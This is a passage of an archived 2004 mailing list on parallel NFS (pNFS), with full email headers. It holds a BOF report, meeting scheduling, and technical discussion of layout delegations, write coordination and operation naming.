(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Wed, 31 Mar 2004 13:07:36 -0500 Message-ID: <002101c4174a$bc39a650$06396a83@oemcomputer> To: , Date: Wed, 31 Mar 2004 13:05:11 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Status: No -- Hits: -4.901 Required: 5 X-Spam-Summary: BAYES_00 X-Scanned-By: MIMEDefang 2.40 X-eGroups-Remote-IP: 141.213.4.43 From: ""Dean Hildebrand"" Subject: QoS papers X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus Here are 2 papers on QoS, I'm sure there are many others. http://www.usenix.org/events/fast03/tech/lumb.html http://www.almaden.ibm.com/StorageSystems/autonomic_storage/clockwork/index.shtml Dean >From garth@panasas.com Wed Mar 31 15:46:21 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26118 invoked from network); 31 Mar 2004 23:46:14 -0000 Received: from unknown (66.218.66.172) by m19.grp.scd.yahoo.com with QMQP; 31 Mar 2004 23:46:14 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 31 Mar 2004 23:46:14 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id HZGBCJAD; Wed, 31 Mar 2004 18:46:07 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: <8A31B552-836D-11D8-BB3C-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Wed, 31 Mar 2004 15:45:50 -0800 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: FAST BOF was a crowded success X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT click here Thanks to all participants, today's pNFS BOF packed the room. We asked for space for 50, thinking that would be many more than would show up. Instead we had more than 85 people in the room, nearly all who stayed for the full 90 mins. Our speakers, as usual, were informative and enthusiastic. Most of the questions had to do with our commitment to supporting NFSv4 completely, that the granularity of layout delegation was in fact smaller than the filesystem, and that the semantics of file attributes like mtime and EOF might be vague as specific times while the file is being changed external to the metadata server. Our Oracle guest speaker, Sumanta Chatterjee, stirred up the room while said ""good start and while you are at it, please look at full user-level IO, async IO, list IO, exposed layouts, batched interrupts, lower system CPU usage."" With respect to our broad goal of spreading the message, raising the buzz and seeking additional participants, the first two look really well met. The third will be measurable on these mailing lists. garth >From Brian.Pawlowski@netapp.com Wed Mar 31 17:03:48 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 51103 invoked from network); 1 Apr 2004 01:03:46 -0000 Received: from unknown (66.218.66.167) by m1.grp.scd.yahoo.com with QMQP; 1 Apr 2004 01:03:46 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 1 Apr 2004 01:03:45 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i3113jZh002905 for ; Wed, 31 Mar 2004 17:03:45 -0800 (PST) Received: from tooting-fe.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i3113jTR012799 for ; Wed, 31 Mar 2004 17:03:45 -0800 (PST) Received: (from beepy@localhost) by tooting-fe.eng.netapp.com (8.11.7p1+Sun/8.11.6) id i3113iw20019; Wed, 31 Mar 2004 17:03:44 -0800 (PST) Message-Id: <200404010103.i3113iw20019@tooting-fe.eng.netapp.com> In-Reply-To: <8A31B552-836D-11D8-BB3C-000A95A94F04@panasas.com> from Garth Gibson at ""Mar 31, 4 03:45:50 pm"" To: pnfs-reqs@yahoogroups.com Date: Wed, 31 Mar 2004 17:03:44 -0800 (PST) Cc: pnfs-reqs@yahoogroups.com X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: [pnfs-reqs] FAST BOF was a crowded success X-Yahoo-Group-Post: member; u=169504717 X-Yahoo-Profile: brianpawlowski I counted up to 100 and then more people came in. > Thanks to all participants, today's pNFS BOF packed the room. We asked > for space for 50, thinking that would be many more than would show up. > Instead we had more than 85 people in the room, nearly all who stayed > for the full 90 mins. > > Our speakers, as usual, were informative and enthusiastic. Most of the > questions had to do with our commitment to supporting NFSv4 completely, > that the granularity of layout delegation was in fact smaller than the > filesystem, and that the semantics of file attributes like mtime and > EOF might be vague as specific times while the file is being changed > external to the metadata server. Our Oracle guest speaker, Sumanta > Chatterjee, stirred up the room while said ""good start and while you > are at it, please look at full user-level IO, async IO, list IO, > exposed layouts, batched interrupts, lower system CPU usage."" > > With respect to our broad goal of spreading the message, raising the > buzz and seeking additional participants, the first two look really > well met. The third will be measurable on these mailing lists. > > garth > > > > > > Yahoo! Groups Links > > > > > >From garth@panasas.com Sat Apr 03 20:31:03 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 56257 invoked from network); 4 Apr 2004 04:31:00 -0000 Received: from unknown (66.218.66.218) by m14.grp.scd.yahoo.com with QMQP; 4 Apr 2004 04:31:00 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 4 Apr 2004 04:31:00 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56KCPR; Sat, 3 Apr 2004 23:30:56 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Sat, 3 Apr 2004 20:30:41 -0800 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: planning for our next face-to-face X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson We talked about our next face to face being in Ann Arbor during the week of the NFSv4 bake-a-thon. in the week of June 7-11. David mentioned the conflict with T11 in Chicago, but thought it might be workable. Andy, Peter -- what are the best days in that week -- I think we are looking for a one day meeting. I personally prefer the 7th or 8th. Also, I encourage us all to post our notes from the face-to-face and BOF. thanks garth >From pcorbett@netapp.com Sun Apr 04 10:20:22 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 61451 invoked from network); 4 Apr 2004 17:20:21 -0000 Received: from unknown (66.218.66.217) by m6.grp.scd.yahoo.com with QMQP; 4 Apr 2004 17:20:21 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta2.grp.scd.yahoo.com with SMTP; 4 Apr 2004 17:20:21 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i34HKGZh006528 for ; Sun, 4 Apr 2004 10:20:16 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i34HKGTR001543 for ; Sun, 4 Apr 2004 10:20:16 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sun, 4 Apr 2004 10:20:08 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] planning for our next face-to-face Thread-Index: AcQZ/bxMb4ySfse8T2CP52qiBqibXgAa03bg To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 I think any of those days is fine with me. -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Saturday, April 03, 2004 8:31 PM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] planning for our next face-to-face We talked about our next face to face being in Ann Arbor during the week of the NFSv4 bake-a-thon. in the week of June 7-11. David mentioned the conflict with T11 in Chicago, but thought it might be workable. Andy, Peter -- what are the best days in that week -- I think we are looking for a one day meeting. I personally prefer the 7th or 8th. Also, I encourage us all to post our notes from the face-to-face and BOF. thanks garth Yahoo! Groups Links >From black_david@emc.com Mon Apr 05 07:55:42 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 21349 invoked from network); 5 Apr 2004 14:55:40 -0000 Received: from unknown (66.218.66.166) by m14.grp.scd.yahoo.com with QMQP; 5 Apr 2004 14:55:40 -0000 Received: from unknown (HELO MAHO3MSX2.corp.emc.com) (128.221.11.32) by mta5.grp.scd.yahoo.com with SMTP; 5 Apr 2004 14:55:39 -0000 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 5 Apr 2004 10:55:14 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Mon, 5 Apr 2004 10:55:03 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.11.32 From: black_david@emc.com Subject: RE: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 T11 will be finalizing the meeting map for June during this week's meetings. Right now, Monday (June 7th) looks good, but please wait until T11 finalizes their schedule before committing to Monday. I'll send email later this week when I know for certain. Thanks, --David > -----Original Message----- > From: Garth Gibson [mailto:garth@panasas.com] > Sent: Saturday, April 03, 2004 11:31 PM > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] planning for our next face-to-face > > > We talked about our next face to face being in Ann Arbor during the > week of the NFSv4 bake-a-thon. in the week of June 7-11. David > mentioned the conflict with T11 in Chicago, but thought it might be > workable. > > Andy, Peter -- what are the best days in that week -- I think we are > looking for a one day meeting. I personally prefer the 7th or 8th. > > Also, I encourage us all to post our notes from the face-to-face and > BOF. > > thanks > garth > > > > > Yahoo! Groups Links > > > > > >From andros@citi.umich.edu Mon Apr 05 07:57:33 2004 Return-Path: X-Sender: andros@citi.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48032 invoked from network); 5 Apr 2004 14:19:30 -0000 Received: from unknown (66.218.66.172) by m10.grp.scd.yahoo.com with QMQP; 5 Apr 2004 14:19:30 -0000 Received: from unknown (HELO citi.umich.edu) (141.211.133.111) by mta4.grp.scd.yahoo.com with SMTP; 5 Apr 2004 14:19:30 -0000 Received: from citi.umich.edu (citi.umich.edu [141.211.133.111]) by citi.umich.edu (Postfix) with ESMTP id A5C26207D0; Mon, 5 Apr 2004 10:18:58 -0400 (EDT) X-Mailer: exmh version 2.5 07/13/2001 with version: MH 6.8.3 #74[UCI] To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu In-reply-to: Your message of ""Sat, 03 Apr 2004 20:30:41 PST."" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 05 Apr 2004 10:18:58 -0400 Message-Id: <20040405141858.A5C26207D0@citi.umich.edu> X-eGroups-Remote-IP: 141.211.133.111 From: ""William A.(Andy) Adamson"" Subject: Re: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=169434965 we'll figure out a schedule asap. there has also been talk of an interim IETF NFSv4 working group meeting as we had last year.... -->Andy > We talked about our next face to face being in Ann Arbor during the > week of the NFSv4 bake-a-thon. in the week of June 7-11. David > mentioned the conflict with T11 in Chicago, but thought it might be > workable. > > Andy, Peter -- what are the best days in that week -- I think we are > looking for a one day meeting. I personally prefer the 7th or 8th. > > Also, I encourage us all to post our notes from the face-to-face and > BOF. > > thanks > garth > >From bwelch@panasas.com Mon Apr 05 11:45:12 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 22840 invoked from network); 5 Apr 2004 18:45:10 -0000 Received: from unknown (66.218.66.166) by m19.grp.scd.yahoo.com with QMQP; 5 Apr 2004 18:45:10 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta5.grp.scd.yahoo.com with SMTP; 5 Apr 2004 18:45:10 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i35IjAg22920; Mon, 5 Apr 2004 11:45:10 -0700 Message-Id: <200404051845.i35IjAg22920@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.3 04/02/2003 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Cc: welch@panasas.com X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Notes from FAST pNFS ops discussion X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 I thought we had a pretty good ops discussion at the FAST pnfs BOF. Here are my notes - if anyone has additions, that would be great. Andy mentioned to me that having a general writeup that gives the complete picture would be great to have. I'm willing to update the doc I've been sending around, and will take any/all feedback on it. *This is a long email* If you have substantial comments on a particular topic, I suggest you launch a new thread with the appropriate subject. Notes from March 31, 2004 1. Write coordination The most significant item from my point of view was the issue of write coordination. Suppose the metadata server gives out a LAYOUT delegation so the client can do writes to the file. How closely does the metadata server monitor the write activity by the client? It turns out that servers will have a range of desires. In the block world, the metadata server will make block allocations ahead of time to allow the writes to proceed. It wants to bound the time that allocation is outstanding. To do that, it would like the client to release the write layout and communicate back to the metadata server precisely what blocks were used by the write. The new EOF position is also important to keep current. At the other extreme might be a load-balancing file server. The metadata server may not care about the write lifetime once it has told the client where the data for the file lives. It may want to let the client keep the delegation even during times of file sharing, just so long as the layout (i.e., the location of the data fork) doesn't change. However, there are reasons that a file- or object-based system will want to keep closer track of client writes. These are quota management, complex aggregation schemes, and (controversially) buffer cache issues. For quota, suppose that files for a quota domain (called a ""qtree"" in NetApp, or a ""volume"" in other systems) are spread out over multiple data servers. In this case, the metadata server can act as a central place to coordinate quota by giving each data server an escrow of quota to manage. As writes consume quota, escrows need to be adjusted. One way to accomplish this is to monitor client write activity. This is very similar to the block allocation problem described above, but it isn't about the details of where free blocks are, just about the accounting of used blocks and who gets charged for them. For complex aggregation schemes like file mirroring or client-driven raid, which we use in our object-based system, the metadata server wants to monitor client write activity to handle error recovery. If the client bombs out in the middle of a write operation that needs to be coordinated across multiple data servers, then the metadata server needs to pick up the pieces and put the file into a consistent state. The longer the client holds the write Layout delegation, the more clients and more files can be active, and the more state the metadata server has to track. By bounding the time that the client is allowed to use the Layout delegation for writing, the metadata server can bound its state requirements and crash recovery responsibilities. Even a simple write can lead to consistency issues if the client does I/O in a block-oriented way. If it accepts a 5 byte write, then its cache will typically want to read the whole filesystem block that contains those bytes and apply the write to that block. Later it will write back the whole block. Even if applications do large writes, they often do large writes that are not multiples of the blocksize, so the same issues crop up. I don't think we resolved this dicussion, with several voices claiming this was a cache consistency issue and unrelated to layouts. But, see point 8 below about working out these details. Conclusion: these issues motivate the need for * Separate read and write layout delegations * Relatively prompt release of write delegations for those servers that want to keep a closer eye on their clients. They can give out short lease times (e.g., 10 minutes as opposed to 8 hours) for the write layout delegations 2. What are the Ops called The doc that I floated has READ_IND, WRITE_IND, and COMMIT_IND. But we have also used DELEG_ASK and DELEG_RETURN. The write/commit terminology reflects the model where the server is paying close attention to write patterns by clients. Because that doesn't necessarily apply, the DELEG_ASK and DELEG_RETURN op names have been suggested. I think we may need separate READ_DELEG_ASK and WRITE_DELEG_ASK because different arguments have been suggested, although we may be able to unify them. I heard a request for Two ranges in READ_DELEG_ASK, a minimum and maximum size. David - does this apply to both read and write? There is also the issue that WRITE_DELEG_RETURN will want to return updated layout information so it can communicate to block servers what blocks have been used. I suppose it is possible to model that as a kind of attribute - we need to communicate the EOF and mtime attribute at WRITE_DELEG_RETURN anyway. However, in other cases we've decided that attributes don't work so well for layout info, so I'd be reluctant to make them into an attribute in this case. So, I'd advocate that WRITE_DELEG_RETURN is a different op than READ_DELEG_RETURN, and that it has an explicit layout_prime return parameter to reflect what it did. Conclusion: I'm coming down in favor of 4 ops: {READ,WRITE}_DELEG_{ASK,RETUR N} 3. Resource discovery There was a little discussion of the DEVICE_LIST and DEVICE_INFO ops. The main point was that the device info needs to be typed so that clients know if they have the correct datapath driver to use that device. It was also brought up that servers may be able to export different kinds of layouts (e.g., both files and objects, or multiple flavors of layout foo) so clients may want to negotiate with the servers about what kind of delegation to return. This implies a type in the *_DELEG_ASK operations. 4. Replicas and complex aggregation types The whole notion of complex aggregation types that require coordinated updates to multiple data forks is somewhat controversial. I'm going to start a separate thread on this topic. 5. Clustered Metadata servers We discussed issue of clustering the metadata server to partition its load. If possible, we'd like to keep this outside the scope of pNFS. The main issue that crops up is that a client may contact a metadata server for a file and need to be told to use a different metadata server. This can be made to fit in with the current NFS redirection behavior as long as the FSID for the file changes. This implies a particular metadata partitioning along mount point boundaries. In practice this can work out just fine, although some metadata servers may have more elaborate schemes that allow very fine grain partitioning of metadata ownership. 6. Security Models We discussed the security models. One viewpoint is that we could try and make all the servers implement a similar model (i.e., the ""best"" one). However, there was resistance to this. The alternative is to let the servers provide the security model they want. In particular, these servers already have security models and they are all different. So the path of least resistance is let servers use their existing security models even if they have limitations. 7. Scope of client damange A question came up about ""how much damage can a client do"". It depends on the data service. For files and blocks, the layout is specific to particular data objects, so the most a client can do is mess up the file it was given access to. This includes botching the updates involved in a complex aggregation type like mirroring or client-driven raid. In the block world, clients typically have more granular access, so they could damage a volume or LUN. But, this level of vulnerability is accepted in the SAN filesystems that exist today. 8. Interaction of Data Delegations, Layout Delegations, and Locking We didn't close on this issue, and I think our homework should be to explain in detail what the op sequence will be for a few basic scenarios. These will illustrate the basic cases for how to use the layout delegations. -- Brent Welch Software Architect,Panasas Inc Delivering the premier storage system for scalable Linuxclusters www.panasas.com welch@panasas.com >From black_david@emc.com Tue Apr 06 12:48:54 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 54554 invoked from network); 6 Apr 2004 19:16:42 -0000 Received: from unknown (66.218.66.216) by m8.grp.scd.yahoo.com with QMQP; 6 Apr 2004 19:16:42 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta1.grp.scd.yahoo.com with SMTP; 6 Apr 2004 19:16:38 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 6 Apr 2004 15:00:55 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Date: Tue, 6 Apr 2004 15:00:51 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: RE: [pnfs-reqs] Notes from FAST pNFS ops discussion X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 Some comments: > Conclusion: these issues motivate the need for > * Separate read and write layout delegations > * Relatively prompt release of write delegations for those servers > that want to keep a closer eye on their clients. They can give out > short lease times (e.g., 10 minutes as opposed to 8 hours) for the > write layout delegations Leases could use some more thought. HighRoad uses a client-wide ""lease"", in the form of a periodic heartbeat. In essence, the client has to remain in constant communication with the server - it's required to do something once every so often, and issues a no-op if it has nothing else to do in the necessary time period. This accomplishes the major benefit of leases (clean recovery of resources from a dead client), without having to track a time per lease. Notifications are always needed, as leases aren't enough when there's active contention. > 2. What are the Ops called > > The doc that I floated has READ_IND, WRITE_IND, and COMMIT_IND. > But we have also used DELEG_ASK and DELEG_RETURN. The write/commit > terminology reflects the model where the server is paying close attention > to write patterns by clients. Because that doesn't necessarily apply, > the DELEG_ASK and DELEG_RETURN op names have been suggested. I think > we may need separate READ_DELEG_ASK and WRITE_DELEG_ASK because different > arguments have been suggested, although we may be able to unify them. I think a name that does not involve any part of the word ""delegation"" will help avoid confusion with the existing data delegations (which behave very differently). MAP and LAYOUT are possibilities. > I heard a request for > Two ranges in READ_DELEG_ASK, a minimum and maximum size. David - does > this apply to both read and write? Yes. The ""minimum"" is an instruction from the client to the server to reject or queue the operation until it can satisfy at least the minimum. The ""maximum"" is an optimization hint. > There is also the issue that WRITE_DELEG_RETURN will want to return > updated layout information so it can communicate to block servers what > blocks have been used. I suppose it is possible to model that as a kind > of attribute - we need to communicate the EOF and mtime attribute at > WRITE_DELEG_RETURN anyway. However, in other cases we've decided that > attributes don't work so well for layout info, so I'd be reluctant to > make them into an attribute in this case. So, I'd advocate that > WRITE_DELEG_RETURN is a different op than READ_DELEG_RETURN, and that > it has an explicit layout_prime return parameter to reflect > what it did. It's sufficient to flag returned extent ranges as: - Commit. Only needed for writable extents that contained no valid data. When writable extents are obtained, the client is told which ones have invalid data and will need to be committed (this moves zero-fill responsibility to the client from the metadata server). This may be block-only, as object and file systems will handle zero-fill in the data server and hence never need to issue invalid data extents. - Release. Give back the read or write rights in an extent. It's also necessary to be able to set access or modify times - passing a couple of flags to tell the server to do this avoids any dependence on clients having the same time as servers - and to be able to set the EOF as part of the operation. > Conclusion: I'm coming down in favor of 4 ops: > {READ,WRITE}_DELEG_{ASK,RETURN} I'd like to see ""DELEG"" changed to something like ""MAP"", ""LAYOUT"", or ""EXTENT"". HighRoad uses 3 ops (common return op for read and write), but 4 is probably cleaner (e.g., can't get confused and try to set modify time when returning a read extent, but do need ""no change"", ""set access"" and ""set access and modify"" options when returning a write extent). > 3. Resource discovery > > There was a little discussion of the DEVICE_LIST and DEVICE_INFO ops. > The main point was that the device info needs to be typed so that > clients know if they have the correct datapath driver to use > that device. And the identifiers within each type need to be sufficiently global/ unambiguous to avoid possible confusion. > It was also brought up that servers may be able to export different > kinds of layouts (e.g., both files and objects, or multiple flavors > of layout foo) so clients may want to negotiate with the servers about > what kind of delegation to return. This implies a type in > the *_DELEG_ASK operations. Ok. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From black_david@emc.com Thu Apr 08 22:31:07 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 81972 invoked from network); 8 Apr 2004 22:37:49 -0000 Received: from unknown (66.218.66.167) by m18.grp.scd.yahoo.com with QMQP; 8 Apr 2004 22:37:49 -0000 Received: from unknown (HELO mxic2.corp.emc.com) (128.221.12.9) by mta6.grp.scd.yahoo.com with SMTP; 8 Apr 2004 22:37:49 -0000 Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Apr 2004 18:37:48 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Thu, 8 Apr 2004 18:36:27 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 128.221.12.9 From: black_david@emc.com Subject: RE: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 > We talked about our next face to face being in Ann Arbor during the > week of the NFSv4 bake-a-thon. in the week of June 7-11. David > mentioned the conflict with T11 in Chicago, but thought it might be > workable. At least for me, I appear to have T11 meetings that I should attend on Monday, Tuesday, and Wednesday. I think I can skip the meetings on Thursday, so that should make Thursday and Friday of that week possible. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From pcorbett@netapp.com Mon Apr 12 07:00:22 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 76617 invoked from network); 12 Apr 2004 14:00:21 -0000 Received: from unknown (66.218.66.216) by m21.grp.scd.yahoo.com with QMQP; 12 Apr 2004 14:00:21 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 12 Apr 2004 14:00:21 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i3CDuZZh024024 for ; Mon, 12 Apr 2004 06:56:35 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i3CDuZXv015719 for ; Mon, 12 Apr 2004 06:56:35 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 12 Apr 2004 06:56:30 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] planning for our next face-to-face Thread-Index: AcQd9DUhjtB2awVVQz2lgK0bK5G29ACoaVMQ To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 That doesn't work for me, unfortunately. I have prior plans for the 11th that I can't change, and I have to be home on the 10th. -----Original Message----- From: black_david@emc.com [mailto:black_david@emc.com] Sent: Thursday, April 08, 2004 6:36 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] planning for our next face-to-face > We talked about our next face to face being in Ann Arbor during the > week of the NFSv4 bake-a-thon. in the week of June 7-11. David > mentioned the conflict with T11 in Chicago, but thought it might be > workable. At least for me, I appear to have T11 meetings that I should attend on Monday, Tuesday, and Wednesday. I think I can skip the meetings on Thursday, so that should make Thursday and Friday of that week possible. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- Yahoo! Groups Links >From garth@panasas.com Mon Apr 12 09:34:59 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 18553 invoked from network); 12 Apr 2004 16:34:58 -0000 Received: from unknown (66.218.66.166) by m24.grp.scd.yahoo.com with QMQP; 12 Apr 2004 16:34:58 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 12 Apr 2004 16:34:58 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56K6VQ; Mon, 12 Apr 2004 12:34:57 -0400 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <4C08A133-8C9F-11D8-8ED7-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Date: Mon, 12 Apr 2004 12:34:41 -0400 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] planning for our next face-to-face X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I am also committed to be in CA on June 10, so Thurs and Fri don't work for me. David, any chance of a 1/2 day in Ann Arbor on Mon or Tues? garth On Apr 12, 2004, at 9:56 AM, Corbett, Peter wrote: > That doesn't work for me, unfortunately. I have prior plans for the > 11th that I can't change, and I have to be home on the 10th. > > -----Original Message----- > From: black_david@emc.com [mailto:black_david@emc.com] > Sent: Thursday, April 08, 2004 6:36 PM > To: pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-reqs] planning for our next face-to-face > >> We talked about our next face to face being in Ann Arbor during the >> week of the NFSv4 bake-a-thon. in the week of June 7-11. David >> mentioned the conflict with T11 in Chicago, but thought it might be >> workable. > > At least for me, I appear to have T11 meetings that I should attend > on Monday, Tuesday, and Wednesday. I think I can skip the meetings > on Thursday, so that should make Thursday and Friday of that week > possible. > > Thanks, > --David > ---------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 176 South St., Hopkinton, MA 01748 > +1 (508) 293-7953 FAX: +1 (508) 293-7786 > black_david@emc.com Mobile: +1 (978) 394-7754 > ---------------------------------------------------- >From 